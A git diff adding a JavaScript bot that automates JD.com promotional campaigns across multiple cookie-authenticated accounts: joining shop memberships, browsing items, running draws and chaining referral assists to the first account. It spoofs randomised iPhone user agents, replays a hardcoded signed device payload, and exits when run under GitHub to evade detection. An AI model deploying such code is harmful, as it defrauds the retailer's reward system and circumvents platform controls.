$.wait(parseInt(Math.random() * 1000 + 2000, 10)) + }else console.log('如需加购请设置环境变量[guaopencard_addSku23]为"true"'); + let flag = 1 + for (let s of $.skuVisit && $.skuVisit || []) { + if(s.status !== true) { + if(flag == 1){ + console.log('开始浏览商品') + flag = 0 + } + await saveTask('浏览商品', 5, s.value); + await $.wait(parseInt(Math.random() * 1000 + 5000, 10)) + } + } + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getActorUuid() + console.log(`总积分:${$.score} 剩余积分:${$.score2} 游戏机会:${$.assistCount}`) + let gameFlag = 0 + if(guaopencard_draw+"" !== "0"){ + let count = parseInt($.score2/100, 10) + guaopencard_draw = parseInt(guaopencard_draw, 10) + if(count > guaopencard_draw) count = guaopencard_draw + console.log(`博饼次数为:${count}`) + for(j=1;count-- && true;j++){ + gameFlag = 1 + console.log(`第${j}次`) + await draw("draw") + await $.wait(parseInt(Math.random() * 1000 + 4000, 10)) + } + }else console.log('如需博饼请设置环境变量[guaopencard_draw23]为"3" 3为次数'); + if(gameFlag == 1){ + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getActorUuid() + } + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getDrawRecordHasCoupon() + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getShareRecord() + $.log($.actorUuid) + $.log("助力码:"+$.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + await $.wait(parseInt(Math.random() * 1000 + 5000, 10)) + }catch(e){ + console.log(e) + } +} + +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl(`/dingzhi/taskact/common/getDrawRecordHasCoupon`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`我的奖品:`) + let num = 0 + let value = 0 + let jsonName = { + "dayBeSharedBeans":"被邀请", + "dayShareBeans":"邀请", + "saveTaskBeans":"关注店铺/加购商品", + "opencardBeans":"开卡", + "17c51f823c03404a8dfd65e6c880489c":"抽奖", + "9d338d90ec394403b6a4f797c6c4ac32":"开卡抽奖", + "OneClickCoupon":"优惠券", + } + for(let i in res.data){ + let item = res.data[i] + if(item.drawId == 'dayShareBeans') num++; + if(item.drawId == 'dayShareBeans') value = item.infoName.replace('京豆',''); + if(item.drawId != 'dayShareBeans') console.log(`${(jsonName[item.drawId] || item.drawId) +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.actorUuid}` + $.post(taskPostUrl(`/dingzhi/taskact/common/getShareRecord`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.ShareCount = res.data.length + $.log(`=========== 你邀请了:${res.data.length}个`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function draw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + const options = taskPostUrl(`/dingzhi/midautumn/jointactivity/${type}`, body); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = res.data.wdsrvo && res.data.wdsrvo.drawInfoType == 6 && res.data.wdsrvo.name || '' + console.log(`抽奖获得:${msg || '空气💨'}`) + if(!msg) console.log(data) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getInitInfo() { + return new Promise(resolve => { + let body = `shareUuid=${$.shareUuid}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` + $.post(taskPostUrl(`/dingzhi/midautumn/jointactivity/getInitInfo`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.followShop = res.data.followShop + $.signStatus = res.data.signStatus + $.skuAddCart = res.data.skuAddCart + $.saveAddr = res.data.saveAddr + $.skuVisit = res.data.skuVisit + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`助力-${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function saveTask(title, taskType, taskValue) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&shareUuid=${$.shareUuid}&taskType=${taskType}&taskValue=${taskValue}` + $.post(taskPostUrl(`/dingzhi/midautumn/jointactivity/saveTask`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.beans){ + msg = ` ${res.data.beans}京豆` + } + if(res.data.score2){ + msg += ` 剩余:${res.data.score2}博饼值` + } + if(res.data.assistCount){ + msg += ` ${res.data.assistCount}次游戏机会` + } + console.log(`${title}获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${title} ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function drawContent() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/dingzhi/taskact/common/drawContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl(`/dingzhi/midautumn/jointactivity/initOpenCard`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res === 'object'){ + $.openCard = res.data.openInfo + $.allOpenCard = res.data.allOpenCard + $.opencardDraw = res.data.opencardDraw + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/midautumn/jointactivity/activityContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + if(typeof res.data.score2 != 'undefined') $.score2 = res.data.score2 + if(typeof res.data.score != 'undefined') $.score = res.data.score + if(typeof res.data.assistCount != 'undefined') $.assistCount = res.data.assistCount + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function accessLogWithAD() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` + $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` + $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('lz_jdpin_token=') > -1) lz_jdpin_token = name.replace(/ /g, '') + ';' + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin + if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getMyPing ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}` + $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_1316_53522&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167802&client=apple&clientVersion=10.1.2&d_brand=apple&d_model=iPhone7%2C2&eid=eidI13258122dbs3szjEQkIVRuicODq/DNSsBLM4xbeI7LNrNf8zvCtu948vnQHSeBaeMmtuHNvBma5F1VoqXfFMLqEtAszoFJXeC632wmimZO2HdLk3&isBackground=N&joycious=61&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=1eb906a32940752b5097959b87bf7790cf72dd05&osVersion=12.4&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=390fd486c133c1f6167a9fdf67b88332&st=1630899896264&sv=120&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJn3DpD9W0Sc8O1AyP3PVKrWW6OVbl3QAcvcqq77PIkTDFERHR3PVU80ckj17xEnzWPj8xSrDu/L0c50QtM/giYfKGRKypVjSgx5zXxwR9iMH9ZtGMPSZgeitb34Y%2BaB8OjZu4zJELK7wOhMOXFkniT24kshiqFXezgDpA54suWV0RDcpNgOWs3A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'Content-Type':'application/x-www-form-urlencoded', + 'Cookie': cookie, + 'Host':'api.m.jd.com', + 'User-Agent': `JD4iPhone/167802 (iPhone; iOS 12.4; Scale/2.00)`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.errcode == 0){ + if(typeof res.token != 'undefined') $.Token = res.token + }else if(typeof res == 'object' && res.message){ + console.log(`isvObfuscator ${res.message || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getCk() { + return new Promise(resolve => { + let get = { + url:`https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + followRedirect:false, + headers: { + // "Cookie": cookie, + "User-Agent": $.UA, + } + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${activityCookie}${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}${lz_jdpin_token}`, + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard24.js b/backUp/gua_opencard24.js new file mode 100644 index 0000000..5a8dbdc --- /dev/null +++ b/backUp/gua_opencard24.js @@ -0,0 +1,551 @@ +/* +会员“食”力派 